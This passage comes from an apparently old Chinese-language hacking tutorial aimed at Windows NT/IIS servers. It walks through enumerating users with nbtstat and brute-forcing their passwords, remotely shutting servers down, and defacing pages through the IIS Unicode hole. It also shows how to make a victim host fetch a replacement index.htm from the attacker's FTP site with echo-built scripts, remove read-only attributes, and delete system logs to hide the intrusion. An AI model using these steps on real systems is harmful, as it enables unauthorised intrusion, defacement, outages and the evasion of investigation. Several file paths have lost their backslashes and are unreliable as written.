SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:WINNT
TZ=GMT-9
USERPROFILE=D:WINNTProfilesDefault User
windir=D:WINNT
粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，但是只能用这个方法才能100%的找
到主页的名称，当您DIR这个目录时，一定会看到很多文档，您能够把任何文档在浏览器这样输入XX.XX.XX.XX/文
件名，这样只要看到和XX.XX.XX.XX看到的也面一模相同，那么这就是主页的名称了。
7：nbtstat
假如您扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是
netbios，得到用户名后就能够猜猜密码了。例如比较简单的密码，密码和用户名相同的，都试下，不行就暴力破
解吧！
现在网上很多NT的机子都开了这些端口的，您能够练习下，我们来分析得到的结果。
命令是
nbtstat -A XX.XX.XX.XX
-A一定要大写哦。
下面是得到的结果。
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
粉红色的就是登陆过这部系统的用户，可能您不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是<03>的
话，那他前面的就是用户。
这里的用户是PENTIUMII。
8：Shutdown
关了对方的NT服务器的命令
Shutdown IP地址 t:20
20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。
9：DIR
这个命令没什么好讲，但是却很重要，他是查看一目录里的任何文档、文档夹。
您能够本地试下。
10：echo
著名的漏洞Unicode，这个命令能够简单的黑一下有这个漏洞的主机。
我们假设我们要把“南京大屠杀铁证如山，任何日本人不得抵赖！”写入index.htm，有2种方法，大家看看有什么
区别。
echo 南京大屠杀铁证如山，任何日本人不得抵赖！>index.htm
echo 南京大屠杀铁证如山，任何日本人不得抵赖！>>index.htm
第一个的意思是覆盖index.htm原有的内容，把“南京大屠杀铁证如山，任何日本人不得抵赖！”写进
index.htm。
第二个的意思是把“南京大屠杀铁证如山，任何日本人不得抵赖！”加到index.htm里面。
“>>”产生的内容将追加进文档中，“>”则将原文档内容覆盖。
大家能够本地试下。
可能您会问，这样简单黑下有什么好玩的，其实他能够用来下载主页到对方的目录里。
1、首先，我们需要申请一个免费的主页空间。
2、用echo在可写目录下建立如下内容的txt文档：（以chinren服务器为例。）
open upload.chinaren.com（您的FTP服务器，申请时您的空间提供商会给您的）
cnhack（您申请时的用户名）
test（您申请时的密码）
get index.htm c:inetpubwwwrootindex.htm（这里是把您空间上的index.htm下载到对方的
c:inetpubwwwrootindex.htm）
bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS）
具体的做法：
输入 echo open upload.chinaren.com> c:cnhack.txt
输入 echo cnhack >> c:cnhack.txt
输入 echo 39abs >> c:cnhack.txt
输入 echo get index.htm c:inetpubwwwrootindex.htm >> c:cnhack.txt
最后输入 ftp -s:c:cnhack.txt （利用ftp的-s参数，执行文档里的内容。）
等命令完成时，文档已下载到您指定的文档里了。
注意：取得文档后，请删除cnhack.txt。（假如不删除，很容易会给别人看到您的密码。）
记得要 del c:cnhack.txt
11:attrib
这个命令是配置文档属性的。假如您想黑一个站，而他的主页的文档属性配置了只读，那就很可怜呀，想删除他也
不行，想覆盖他也不行。倒！但是有这个命令就别怕了。
attrib -r index.htm
这个命令是把index.htm的只读属性去掉。
假如把“-”改为“ ”则是把这个文档的属性配置为只读
----------------------
attrib r index.htm
这个命令是把index.htm的属性配置为只读。
12:del
当您看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。
NT的日志有这些
del C:winntsystem32logfiles*.*
del C:winntssytem32config*.evt
del C:winntsystem32dtclog*.*
del C:winntsystem32*.log
del C:winntsystem32*.txt
del C:winnt*.txt
del C:winnt*.log
只要删除这些就能够了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。
